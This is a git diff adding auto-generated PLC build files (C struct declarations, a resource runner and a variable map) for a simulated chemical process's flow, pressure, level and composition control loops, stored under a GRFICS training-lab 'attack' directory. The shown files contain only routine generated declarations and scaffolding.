__DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; 